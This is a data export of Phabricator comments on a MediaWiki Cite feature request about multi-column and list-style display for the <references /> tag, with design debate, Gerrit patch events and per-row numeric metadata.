+This bug really only makes sense in light of something like //T33597: Render references list in multiple columns based on the number of items// which aims to add useful new functionality regardless of whether it's put inside a template.",,,1446974679,,PHID-USER-o7sy7j32bv4qerbqa3x5,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,122,,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+484575,Support editing <references /> tags to set multi-column display on/off,This was discussed at the weekly meeting on 2015-06-30. We decided that it wasn't a priority for this quarter.,,,1435699557,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,104,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+419186,Support editing <references /> tags to set multi-column display on/off,It should be noted that mobilefrontend already does some CSS overrides here (setting a default column width).,,,1425310977,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,87,,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0
+332460,Support editing <references /> tags to set multi-column display on/off,@thiemowmde mentions T33597,,,1416834442,,PHID-USER-tqvzwasywo4a7bnuwuz4,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,73,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+332889,Support editing <references /> tags to set multi-column display on/off,Just to make this clear (since I was told to say this here rather than in Gerrit): 100% agree to what Krinkle and Gabriel said. See bug 31597 (T33597) for a much more elaborate proposal.,,,1416910461,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,73,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+332886,Support editing <references /> tags to set multi-column display on/off,Just to make this clear (since I was told to say this here rather than in Gerrit): 100% agree to what Krinkle and Gabriel said. See T31597 for a much more elaborate proposal.,,,1416910421,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,73,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+237920,Support editing <references /> tags to set multi-column display on/off,Just to make this clear (since I was told to say this here rather than in Gerrit): 100% agree to what Krinkle and Gabriel said. See bug 31597 for a much more elaborate proposal.,,,1412760097,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,66,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+334669,Support editing <references /> tags to set multi-column display on/off,"I fail to see how it is in anyone's best interest to implement support for list-style and column sizes on an individual `<references>` list.
+
+These are traditionally implemented in a `{{reflist}}` template on Wikipedia. That was by all accounts a compromise due to the limited capability they have inside a template. What people want is for stuff to just work. They don't actually want to specify it manually each time.
+
+Adding this to the extension will improve nothing other than move it from a template hack to something we now have to support and maintain forwards.
+
+There has yet to be given a valid reason for why anyone would explicitly, semantically, by intent, want one specific article to have its references in a certain number of columns or certain list item number style.
+
+The number of columns should be determined by width, not hardcoded count. And while the latest patch uses width, it is still imho fundamentally flawed. Users don't want to hardcode this everywhere (authors will not know this even exists, leading to generally no single user actually using this feature other than power users, whom then have to write bots that fix it everywhere; or more likely, they'll just use another template that specified the width and list-style they agree on for that wiki).
+
+If this were any other feature, it'd be obvious this is something for the software to provide as a convenience. Not a burden for the users. Based on design considerations, can make a reasonable choice for what the column width should be. And it can be improved as we collect more data and positively influence all readers.
+
+While there may not be a perfect value, I know for sure the factors that make it less perfect don't vary by article. They vary by device, browser, etc. It will traditionally and up with authors using their personal preference for what looks right on their device.
+
+The only thing that is probably in need of variation is list-style (based on content language), which, again, seems like something we can be much smarter about. If there isn't a way to get that already from the Language infrastructure, we can provide a config variable or mediawiki-message specifying the list-style for that wiki or language. One exception could be multi-lingual wikis, so maybe provide list-style as attribute indeed.
+
+
+Note: Gabriels proposal for css classes is imho better than providing a hardcoded column-width, but per the above, we don't need either.",,,1417405037,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,74,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+334668,Support editing <references /> tags to set multi-column display on/off,"I fail to see how it is in anyone's best interest to implement support for list-style and column sizes on an individual `<references>` list.
+
+These are traditionally implemented in a `{{reflist}}` template on Wikipedia. That was by all accounts a compromise due to the limited capability they have inside a template. What people want is for stuff to just work. They don't actually want to specify it manually each time.
+
+Adding this to the extension will improve nothing other than move it from a template hack to something we now have to support and maintain forwards.
+
+There has yet to be given a valid reason for why anyone would explicitly, semantically, by intent, want one specific article to have its references in a certain number of columns or certain list item number style.
+
+The number of columns should be determined by width, not hardcoded count. And while the latest patch uses width, it is still imho fundamentally flawed. Users don't want to hardcode this everywhere (authors will not know this even exists, leading to generally no single user actually using this feature other than power users, whom then have to write bots that fix it everywhere; or more likely, they'll just use another template that specified the width and list-style they agree on for that wiki).
+
+If this were any other feature, it'd be obvious this is something for the software to provide as a convenience. Not a burden for the users. Based on design considerations, can make a reasonable choice for what the column width should be. And it can be improved as we collect more data and positively influence all readers.
+
+While there may not be a perfect value, I know for sure the factors that make it less perfect don't vary by article. They vary by device, browser, etc. It will traditionally and up with authors using their personal preference for what looks right on their device.
+
+The only thing that is probably in need of variation is list-style (based on content language), which, again, seems like something we can be much smarter about. If there isn't a way to get that already from the Language infrastructure, we can provide a config variable or mediawiki-message specifying the list-style for that wiki or language. One exception could be multi-lingual wikis, so maybe provide list-style as attribute indeed.
+
+
+Note: Gabriels proposal for css classes is imho better than providing a hardcoded column-width, but per the above, we don't need neither.",,,1417405028,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,74,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+237914,Support editing <references /> tags to set multi-column display on/off,"I fail to see how it is in anyone's best interest to implement support for list-style and column sizes on an individual <references> list.
+
+These are traditionally implemented in a {{reflist}} template on Wikipedia. That was by all accounts a compromise due to the limited capability they have inside a template. What people want is for stuff to just work. They don't actually want to specify it manually each time.
+
+Adding this to the extension will improve nothing other than move it from a template hack to something we now have to support and maintain forwards.
+
+There has yet to be given a valid reason for why anyone would explicitly, semantically, by intent, want one specific article to have its references in a certain number of columns or certain list item number style.
+
+The number of columns should be determined by width, not hardcoded count. And while the latest patch uses width, it is still imho fundamentally flawed. Users don't want to hardcode this everywhere (authors will not know this even exists, leading to generally no single user actually using this feature other than power users, whom then have to write bots that fix it everywhere; or more likely, they'll just use another template that specified the width and list-style they agree on for that wiki).
+
+If this were any other feature, it'd be obvious this is something for the software to provide as a convenience. Not a burden for the users. Based on design considerations, can make a reasonable choice for what the column width should be. And it can be improved as we collect more data and positively influence all readers.
+
+While there may not be a perfect value, I know for sure the factors that make it less perfect don't vary by article. They vary by device, browser, etc. It will traditionally and up with authors using their personal preference for what looks right on their device.
+
+The only thing that is probably in need of variation is list-style (based on content language), which, again, seems like something we can be much smarter about. If there isn't a way to get that already from the Language infrastructure, we can provide a config variable or mediawiki-message specifying the list-style for that wiki or language. One exception could be multi-lingual wikis, so maybe provide list-style as attribute indeed.
+
+--
+
+Gabriels proposal for css classes is imho better than providing a hardcoded column-width, but per the above, we don't need neither.",,,1412722649,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,66,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+237909,Support editing <references /> tags to set multi-column display on/off,"See also:
+Bug 31597 - generate class for references list according to the number of refs",,,1411551743,,PHID-USER-zqde3skdzpqiwny4dxt4,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,64,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+237903,Support editing <references /> tags to set multi-column display on/off,"Change 123105 abandoned by Alex Monk:
+Support new column-width and list-style attributes to Cite's <references>
+
+Reason:
+ok done
+
+https://gerrit.wikimedia.org/r/123105",,,1409791989,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+237897,Support editing <references /> tags to set multi-column display on/off,I picked up the Cite & VE parts of this again.,,,1409791787,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,61,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+237890,Support editing <references /> tags to set multi-column display on/off,"Change 123105 restored by Alex Monk:
+Support new column-width and list-style attributes to Cite's <references>
+
+Reason:
+Restoring so I can do a rebase to get the VE patch working
+
+https://gerrit.wikimedia.org/r/123105",,,1409791573,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+237884,Support editing <references /> tags to set multi-column display on/off,"Change 123093 restored by Alex Monk:
+WIP Support new column-width & list-style attributes to Cite's <references>
+
+https://gerrit.wikimedia.org/r/123093",,,1409782437,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+237876,Support editing <references /> tags to set multi-column display on/off,"Change 120962 restored by Alex Monk:
+Support setting column-width and list-style in <references /> tag
+
+Reason:
+Going to use classes.
+
+https://gerrit.wikimedia.org/r/120962",,,1409782408,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+237868,Support editing <references /> tags to set multi-column display on/off,Bug 22265 - Allow references to be listed with letters,,,1405984158,,PHID-USER-zqde3skdzpqiwny4dxt4,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,55,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+237862,Support editing <references /> tags to set multi-column display on/off,"No. We /are/ going to do this. Gabriel is on the hook for suggesting how to do it in a way that makes him happy, given he vetoed the agreed way. It certainly isn't ""UNCONFIRMED"".",,,1405787640,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,54,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+237858,Support editing <references /> tags to set multi-column display on/off,"Change 123093 abandoned by Alex Monk:
+WIP Support new column-width & list-style attributes to Cite's <references>
+
+Reason:
+Abandoning all related patch sets
+
+https://gerrit.wikimedia.org/r/123093",,,1405780950,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,54,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+237853,Support editing <references /> tags to set multi-column display on/off,"Change 120962 abandoned by Alex Monk:
+Support setting column-width and list-style in <references /> tag
+
+https://gerrit.wikimedia.org/r/120962",,,1405780903,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,54,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+237848,Support editing <references /> tags to set multi-column display on/off,"Change 123105 abandoned by Alex Monk:
+Support new column-width and list-style attributes to Cite's <references>
+
+https://gerrit.wikimedia.org/r/123105",,,1405780885,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,54,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+237843,Support editing <references /> tags to set multi-column display on/off,See https://gerrit.wikimedia.org/r/#/c/120962/ for more discussion on this.,,,1401486377,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,47,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0
+237840,Support editing <references /> tags to set multi-column display on/off,"(In reply to Gabriel Wicke from comment #24)
+> Is there a good reason to use magic attributes and inline styles here
+> instead of CSS classes? The latter is easier to customize for different
+> environments and creates less complexity in the parsers (PHP and Parsoid).
+> 
+> All VE needs is a list of classes to offer in a drop-down or the like.
+
+Your assertion that a restricted set of classes invented by the development team will be sufficient for the community's existing wishes to be fulfilled is not met by reality…",,,1401482644,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,47,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+237834,Support editing <references /> tags to set multi-column display on/off,"Is there a good reason to use magic attributes and inline styles here instead of CSS classes? The latter is easier to customize for different environments and creates less complexity in the parsers (PHP and Parsoid).
+
+All VE needs is a list of classes to offer in a drop-down or the like.",,,1396389434,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,39,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0
+237828,Support editing <references /> tags to set multi-column display on/off,"Change 123105 had a related patch set uploaded by Alex Monk:
+Support new column-width and list-style attributes to Cite's <references>
+
+https://gerrit.wikimedia.org/r/123105",,,1396388659,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,39,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+237823,Support editing <references /> tags to set multi-column display on/off,"Change 123093 had a related patch set uploaded by Alex Monk:
+Support new column-width and list-style attributes to Cite's <references>
+
+https://gerrit.wikimedia.org/r/123093",,,1396387228,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,39,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+237818,Support editing <references /> tags to set multi-column display on/off,"What? We don't do LATER, and haven't for over a year.",,,1395858396,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,38,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+237813,Support editing <references /> tags to set multi-column display on/off,"IMO this should be a WONTFIX or LATER, and instead bug 6019 should be fixed.",,,1395800703,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,38,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+237808,Support editing <references /> tags to set multi-column display on/off,"Change 120962 had a related patch set uploaded by Alex Monk:
+Support setting column-width and list-style in <references /> tag
+
+https://gerrit.wikimedia.org/r/120962",,,1395789394,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,38,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+237804,Support editing <references /> tags to set multi-column display on/off,"(In reply to Alex Monk from comment #17)
+> Can someone sum up exactly what has been agreed to do here?
+
+My understanding:
+
+Do: 
+
+* Add a ""column-width"" optional property to the <references /> element, in ems, defaulting to unspecified => one column of 100% width.
+
+** Ensure the issues about RTL display being logical are fix (you need to make sure that the columns and their contents both flow RTL).
+
+** Make it look nice. :-)
+
+** Should this default be variable as a per-wiki option?
+
+
+* Add a ""list-style"" optional property to the <references /> element, an escaped pass-through of the CSS list-style of the OL, defaulting to decimal.
+
+** Should this default be variable as a per-wiki/per-content-language option? I can imagine there might be better alternatives for some languages than ""Arabic"" Roman decimal.
+
+
+Do not:
+
+* Add a ""columns"" property (this breaks the concept of the Web's content being fit for any sized screen and shouldn't be encouraged).
+
+* Add a new class to the <references /> OL – the ""references"" class can be over-ridden locally by wikis if they want to change it further.
+
+
+Is this what others think?",,,1394727173,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,36,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+237801,Support editing <references /> tags to set multi-column display on/off,Can someone sum up exactly what has been agreed to do here?,,,1394128243,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,35,,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+237796,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #8)
+> The references tag should support html attributes, than you can write
+> <references class=""***"" /> and the template can be replaced.
+
+This is bug 6019.
+ 
+> Needs a set up a class for list-styles.
+
+Has anyone done an analysis of list-style usage on the large wikis?  I am wondering whether Cite adding a class for the group name will suffice. (i.e. emitting class=""references references-$group $invocationClassesVal"") 
+
+I agree with others that Cite shouldn't add explicit support for columns, as this is very device-dependent; a class attribute indirectly provides this and more.",,,1383136097,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,17,,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+237791,Support editing <references /> tags to set multi-column display on/off,"Multiple columns for references causes two major usability issues:
+
+1. When there is only one reference and this reference is longer than the column width, it is split into several parts, causing gaps inside the reference. This gets even worse for bidi texts: If you have a reference in a right-to-left language inside a left-to-right context, and it is split into multiple columns, you have to start reading on the right end of the left column, read to the left, jump right to the next column, read to the left again, etc.
+
+2. When the list of references is longer than the screen and a reference breaks into two columns, you have to scroll to read it. This means:
+a) You click the superscript number, the browser sends you to the upper part of the reference.
+b) You have to scroll down to the beginning of the reference and start reading.
+c) You have to scroll up again to the second part and continue reading.
+d) If you don't know that you can use your browser's ""back"" function, you have to scroll down again to get to the back link.
+
+Both issues could be solved by using ""break-inside: avoid-column;"", but the browser support currently is very poor. So unless browser support for this improves in future or somebody writes a JS solution for it, multi-column reference lists are a bad idea for usability reasons.",,,1383132465,,PHID-USER-tyjmn7xcw6s2b6rqagj7,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,17,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,0,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
